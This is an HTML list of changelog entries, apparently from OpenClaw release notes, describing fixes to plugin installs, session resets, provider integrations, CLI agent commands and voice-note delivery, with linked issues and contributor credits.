<li>Agents/Codex: prepare native Codex sub-agent session metadata without a nested Gateway session patch and add a focused Docker smoke for the app-server sub-agent path. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Agents/subagents: keep queued subagent announces session-only when the requester has no external channel target, avoiding ambiguous multi-channel delivery failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4189037839" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59201" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59201/hovercard" href="https://github.com/openclaw/openclaw/issues/59201">#59201</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/larrylhollan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/larrylhollan">@larrylhollan</a>.</li>
<li>Image understanding: preserve configured provider-prefixed vision model metadata when callers request the model without the provider prefix, so custom image models keep their <code>input: ["text", "image"]</code> capability. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4017340728" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/33185" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/33185/hovercard" href="https://github.com/openclaw/openclaw/issues/33185">#33185</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kobe9312/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kobe9312">@Kobe9312</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/install: restore the previous plugin index records if a concurrent config write conflict interrupts install, update, or uninstall metadata commits. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Plugins/install: reject native plugin archives that do not include a valid <code>openclaw.plugin.json</code>, preventing manifestless archives from writing install records that later show missing-manifest diagnostics. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Plugins/uninstall: remove tracked managed plugin install directories even when the persisted install path differs from the default id-derived target, while still refusing deletes outside the managed extensions root. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Plugins/update: restore previous plugin index records if core update or channel setup hits a concurrent config write conflict after plugin metadata changes. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Plugins/onboarding: defer channel/provider plugin install records until the owning config write commits, keeping setup failures from advancing the plugin index ahead of <code>openclaw.json</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Plugins/config: route configure and agent setup writes with pending plugin install records through the plugin index commit helper so provider onboarding metadata is not stripped by plain config writes. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Plugins/channels: merge pending channel plugin install records with the existing plugin index before config writes, preserving unrelated tracked installs during channel setup, resolve, remove, and capability repair flows. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Plugins/config: defer shipped <code>plugins.installs</code> index migration during config writes until the guarded config commit window and roll it back if the config write fails before commit. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Sessions: keep embedded runtime context out of the visible user prompt by sending it as a hidden next-turn custom message, and teach doctor to repair affected 2026.4.24 transcripts with duplicated prompt-rewrite branches. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329177517" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71761" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71761/hovercard" href="https://github.com/openclaw/openclaw/issues/71761">#71761</a>.</li>
<li>Gateway/subagents: keep direct-loopback backend RPCs authenticated with the shared gateway token/password off stale CLI paired-device scope baselines, so internal calls no longer hit <code>scope-upgrade</code> pairing prompts while remote, browser, node, device-token, and explicit-device paths still require normal pairing approval. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4229478808" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63548" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63548/hovercard" href="https://github.com/openclaw/openclaw/issues/63548">#63548</a>.</li>
<li>Providers/Azure OpenAI: give deployment-scoped image generation requests a longer 600s default timeout so slow <code>gpt-image-2</code> generations can complete without a per-call <code>timeoutMs</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4328916892" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71705" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71705/hovercard" href="https://github.com/openclaw/openclaw/issues/71705">#71705</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/voytas75/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/voytas75">@voytas75</a>.</li>
<li>Gateway/plugins: link source-checkout bundled runtime dependency caches instead of recursively copying <code>node_modules</code> on the gateway main thread, preventing local status, node, and skill probes from timing out during startup cache restores.</li>
<li>Skills/remote nodes: only expose remote macOS skill bins for connected nodes, clear stale bin matches when node probes fail, and include probe command, timeout, bin count, and connection state in timeout logs.</li>
<li>Skills/remote nodes: recognize <code>system.which</code> object-map responses when probing connected macOS nodes, so Linux gateways can expose macOS-only skills such as Apple Notes when the required binaries are installed remotely. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329760105" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71877" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71877/hovercard" href="https://github.com/openclaw/openclaw/issues/71877">#71877</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/miguelarios/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/miguelarios">@miguelarios</a>.</li>
<li>CLI/gateway: keep diagnostic probes from creating first-time read-only device pairings, while still reusing cached device tokens for detailed read probes. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329202027" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71766" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71766/hovercard" href="https://github.com/openclaw/openclaw/issues/71766">#71766</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SunboZ/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SunboZ">@SunboZ</a>.</li>
<li>CLI/plugins: keep <code>message</code> startup, <code>channels logs</code>, <code>agents delete</code>, and <code>agents set-identity</code> off broad plugin preloading; message delivery still loads plugins when the action actually runs.</li>
<li>Image understanding: resolve configured image models such as local LM Studio vision entries before reporting <code>Unknown model</code> when the discovery registry has not registered that provider. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4261396872" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66486" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/66486/hovercard" href="https://github.com/openclaw/openclaw/issues/66486">#66486</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhanggpcsu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhanggpcsu">@zhanggpcsu</a>.</li>
<li>QQ Bot: ignore self-echoed bot messages using the outbound ref-index marker, preventing mirrored replies from re-entering the agent loop while still allowing users to quote bot replies. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329883097" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71912" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71912/hovercard" href="https://github.com/openclaw/openclaw/issues/71912">#71912</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wangyc6003/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wangyc6003">@wangyc6003</a>.</li>
<li>Sessions: separate reset freshness from session-store <code>updatedAt</code>, so heartbeat, cron, exec, and gateway bookkeeping no longer prevent configured daily/idle resets from rolling long-running channel sessions. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4285740424" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68315" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68315/hovercard" href="https://github.com/openclaw/openclaw/issues/68315">#68315</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4232177002" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63732" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63732/hovercard" href="https://github.com/openclaw/openclaw/issues/63732">#63732</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4233422936" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63820" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63820/hovercard" href="https://github.com/openclaw/openclaw/issues/63820">#63820</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4291872905" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69083" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69083/hovercard" href="https://github.com/openclaw/openclaw/issues/69083">#69083</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/maxatv/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/maxatv">@maxatv</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/longhairedsi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/longhairedsi">@longhairedsi</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bradfreels/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bradfreels">@bradfreels</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/akessel56/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/akessel56">@akessel56</a>.</li>
<li>Sessions: clear queued system-event notices during <code>/new</code>, <code>/reset</code>, gateway <code>sessions.reset</code>, and daily/idle rollover so stale background updates cannot leak into the first prompt of the fresh session. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4265262942" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66864" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/66864/hovercard" href="https://github.com/openclaw/openclaw/issues/66864">#66864</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/opeyio/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/opeyio">@opeyio</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Magicray1217/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Magicray1217">@Magicray1217</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cedillarack/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cedillarack">@cedillarack</a>.</li>
<li>CLI/agents: keep <code>agents bind</code>, <code>agents unbind</code>, and <code>agents bindings</code> on setup-safe channel metadata paths so they do not preload bundled plugin runtimes or stage runtime dependencies. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329103021" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71743" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71743/hovercard" href="https://github.com/openclaw/openclaw/issues/71743">#71743</a>.</li>
<li>Plugins/registry: preserve explicit disabled plugin records during registry migration without persisting every unused bundled plugin discovered on disk. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Windows/native: keep CLI startup and bundled provider plugin loading off Windows ESM raw-path failure paths, fixing native onboarding/install smoke on Node 24.</li>
<li>Plugins/doctor: read bundled channel doctor capabilities through the same packaged plugin directory resolver used by plugin loading, so published installs keep Matrix DM allowlist repairs on <code>channels.matrix.dm.*</code> instead of writing invalid top-level <code>dmPolicy</code> keys. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329162302" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71757" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71757/hovercard" href="https://github.com/openclaw/openclaw/issues/71757">#71757</a>.</li>
<li>Plugins/Windows: keep bundled plugin Jiti loaders off the native import path on Windows so channel plugins such as Telegram no longer crash with <code>ERR_UNSUPPORTED_ESM_URL_SCHEME</code> on <code>C:\...</code> paths. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329134759" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71749" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71749/hovercard" href="https://github.com/openclaw/openclaw/issues/71749">#71749</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/smeyer9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/smeyer9">@smeyer9</a>.</li>
<li>Providers/Ollama: use Ollama's current <code>/api/web_search</code> endpoint and honor <code>https://ollama.com</code> model-provider base URLs for Ollama Web Search. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329095399" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71741" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71741/hovercard" href="https://github.com/openclaw/openclaw/issues/71741">#71741</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/madhvidua/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/madhvidua">@madhvidua</a>.</li>
<li>Memory/Ollama: serialize Ollama memory embedding batches and add an inline batch timeout override, with longer defaults for local/self-hosted embedding providers.</li>
<li>Sessions/usage: exclude compaction checkpoint transcript snapshots from usage totals and session discovery, while keeping old checkpoint files removable.</li>
<li>CLI/agents: keep <code>openclaw agents list --json</code> on the config-only path by default, avoiding bundled plugin loading unless callers request <code>--bindings</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329088196" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71739" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71739/hovercard" href="https://github.com/openclaw/openclaw/issues/71739">#71739</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kaloster/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kaloster">@kaloster</a>.</li>
<li>Plugins/install: force plugin dependency installs to stay project-local even when inherited npm config requests global installs, so successful installs still materialize the plugin's staged <code>node_modules</code>.</li>
<li>Providers/Google: transcode Gemini TTS PCM to Opus for voice-note targets so WhatsApp and other native voice-note replies can play as voice messages.</li>
<li>TTS/WhatsApp: mark non-Opus provider output as voice-note intent so channel delivery transcodes MP3/WebM replies to Ogg/Opus PTT audio.</li>
<li>Plugins/runtime deps: reuse existing external bundled-plugin stage roots when mirrored plugin roots are inspected again, avoiding second-generation <code>openclaw-unknown-*</code> stages and repeated first-turn restaging. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4328214258" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71599" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71599/hovercard" href="https://github.com/openclaw/openclaw/issues/71599">#71599</a>.</li>
<li>iOS/macOS Talk Mode: allow <code>talk.speechLocale</code> to set the speech recognition locale for non-English voice conversations. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4069022882" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/44688" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/44688/hovercard" href="https://github.com/openclaw/openclaw/issues/44688">#44688</a>.</li>
<li>Plugins/providers: honor explicit plugin candidate lists instead of reading a persisted registry snapshot from local state, keeping candidate-scoped provider discovery hermetic.</li>
<li>Plugins/doctor: keep bundled plugin runtime-dependency repairs inside the managed OpenClaw stage even when user npm prefix/global config points npm at <code>$HOME/node_modules</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329067622" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71730" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71730/hovercard" href="https://github.com/openclaw/openclaw/issues/71730">#71730</a>.</li>
<li>ACP/sessions_spawn: reject normal OpenClaw config agent ids when callers explicitly request <code>runtime="acp"</code>, while allowing agents configured with <code>runtime.type="acp"</code> to resolve to their ACP harness id. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4234724919" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63914" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63914/hovercard" href="https://github.com/openclaw/openclaw/issues/63914">#63914</a>.</li>
<li>ACP/sessions_spawn: apply <code>runTimeoutSeconds</code> to ACP child turns and dispatch those turns on the background subagent lane, so quota-stalled ACP harnesses do not occupy the main agent lane indefinitely. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4289936854" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68823" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68823/hovercard" href="https://github.com/openclaw/openclaw/issues/68823">#68823</a>.</li>
<li>ACP/oneshot: reconcile runtime session identity before closing completed oneshot ACP runs, so finished <code>sessions.json</code> entries do not stay stuck with <code>acp.identity.state="pending"</code>.</li>
<li>ACPX: bundle <code>acpx@0.6.1</code> so unsupported generic model overrides fail clearly instead of silently falling back to the target adapter default.</li>
<li>ACP/models: document that non-Codex ACP model overrides require adapter support for ACP <code>models</code> plus <code>session/set_model</code>, so unsupported harnesses fail clearly instead of silently falling back to their defaults.</li>
<li>Plugins/Voice Call: treat missing provider credentials as setup-incomplete during Gateway startup and log the missing keys as a warning instead of a runtime startup error, while keeping explicit command/tool errors when used.</li>
<li>Android/Talk Mode: prevent duplicate TTS playback when fast or repeated final chat events arrive while Talk Mode is waiting for its own response. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4076624751" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/46546" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/46546/hovercard" href="https://github.com/openclaw/openclaw/issues/46546">#46546</a>.</li>
<li>Tooling/check:changed: pass parent heavy-check lock markers to lint lanes so <code>pnpm check:changed</code> no longer waits on its own <code>lint:extensions</code> child.</li>
<li>CLI/completion: dedupe provider auth flags before registering <code>openclaw onboard</code> options, so completion-cache refresh during update no longer fails when stale core fallback flags overlap plugin manifest flags. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4328717666" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71667" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71667/hovercard" href="https://github.com/openclaw/openclaw/issues/71667">#71667</a>.</li>
<li>Diagnostics/trace: report live context usage from the current prompt snapshot instead of provider turn totals, avoiding false near-full context spikes on cached or tool-heavy runs.</li>
<li>Providers/Google: honor <code>models.providers.google.request.allowPrivateNetwork</code> for Gemini TTS and telephony TTS, matching Google image generation and media understanding. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329016945" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71723" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71723/hovercard" href="https://github.com/openclaw/openclaw/pull/71723">#71723</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ro-hansolo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ro-hansolo">@ro-hansolo</a>.</li>
<li>Providers/MiniMax: register <code>minimax-portal</code> for music and video generation, preserving OAuth auth and regional MiniMax base URLs across the shared <code>music_generate</code> and <code>video_generate</code> tools. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4226014254" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63241" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/63241/hovercard" href="https://github.com/openclaw/openclaw/pull/63241">#63241</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tars90percent/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tars90percent">@tars90percent</a>.</li>
<li>Providers/onboarding: keep Runway and Alibaba Model Studio out of the text-inference setup picker by scoping their video-generation auth choices to the media setup flow. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4253432057" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65856" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/65856/hovercard" href="https://github.com/openclaw/openclaw/pull/65856">#65856</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jah-yee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jah-yee">@Jah-yee</a>.</li>
<li>Plugins/Bonjour: stop the gateway from crash-looping on <code>CIAO PROBING CANCELLED</code> when the mDNS watchdog cancels a stuck probe. Restores the rejection-handler wiring dropped during the bonjour plugin migration and shares unhandled-rejection state across module instances so plugin-staged copies of <code>openclaw/plugin-sdk/runtime</code> register into the same handler set the host consults. Especially affects Docker on macOS, where mDNS probing reliably hits the watchdog. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/troyhitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/troyhitch">@troyhitch</a>.</li>
<li>Google Meet: report pinned Chrome nodes as offline or missing capabilities in setup/join diagnostics, keep inaccessible nodes out of auto-selection, and preflight local BlackHole/SoX requirements before agents try local Chrome.</li>
<li>Providers/MiniMax: route <code>image-01</code> requests to the dedicated image generation endpoint while preserving CN endpoint selection. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4206267950" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/61149" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/61149/hovercard" href="https://github.com/openclaw/openclaw/issues/61149">#61149</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mushuiyu886/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mushuiyu886">@mushuiyu886</a>.</li>
<li>Plugins/startup: remove ownerless bundled runtime-dependency install locks after a short grace window and include lock owner details when startup times out waiting for a plugin runtime-deps lock.</li>
<li>Plugins/install: anchor bundled runtime-dependency npm installs with an OpenClaw-owned package manifest so Linux updates cannot accidentally write to a parent <code>$HOME/node_modules</code> tree. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329067622" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71730" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71730/hovercard" href="https://github.com/openclaw/openclaw/issues/71730">#71730</a>.</li>
<li>Plugins/install: pass onboarding plugin config into plugin index writes so local plugin installs outside default discovery roots keep their install records. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Plugins/install: migrate shipped <code>plugins.installs</code> config records into the plugin index while stripping them from runtime config and future writes. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Plugins/install: durably remove shipped <code>plugins.installs</code> from <code>openclaw.json</code> after its records are copied into the plugin index, while rolling back the index write if config cleanup fails. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Plugins/install: keep migrated plugin install records in the plugin index even when the plugin manifest is missing or invalid, so update, uninstall, inspect, and audit can still recover broken installs. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Plugins/security: keep plugin audit JSON check ids stable while reporting plugin index install-record findings with updated wording. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>CLI/config: reject direct <code>plugins.installs</code> edits with guidance to use <code>openclaw plugins install</code>, <code>openclaw plugins update</code>, or <code>openclaw plugins uninstall</code> instead. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Live tests/voice: accept common STT variants for OpenClaw and ElevenLabs brand names so provider smoke tests fail on real regressions rather than equivalent transcripts.</li>
<li>Agents/replies: forward sanitized underlying agent failure details on external channels instead of replacing unknown failures with a generic retry message.</li>
<li>CLI/MCP: translate OpenClaw <code>mcp.servers.*.transport</code> entries into Claude/Gemini CLI <code>type</code> fields so streamable HTTP MCP servers load in CLI backend sessions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329018159" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71724" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71724/hovercard" href="https://github.com/openclaw/openclaw/pull/71724">#71724</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Blockchain-Oracle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Blockchain-Oracle">@Blockchain-Oracle</a>.</li>
<li>Browser/CDP: honor configured remote and <code>attachOnly</code> CDP HTTP/WebSocket timeouts when opening tabs through raw CDP or <code>/json/new</code> fallback. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4132440350" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54238" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/54238/hovercard" href="https://github.com/openclaw/openclaw/pull/54238">#54238</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/FuncWei/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/FuncWei">@FuncWei</a>.</li>
<li>WhatsApp/TTS: send visible text separately from PTT voice-note audio instead of relying on hidden voice-note captions. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4108175128" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/51081" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/51081/hovercard" href="https://github.com/openclaw/openclaw/issues/51081">#51081</a>.</li>
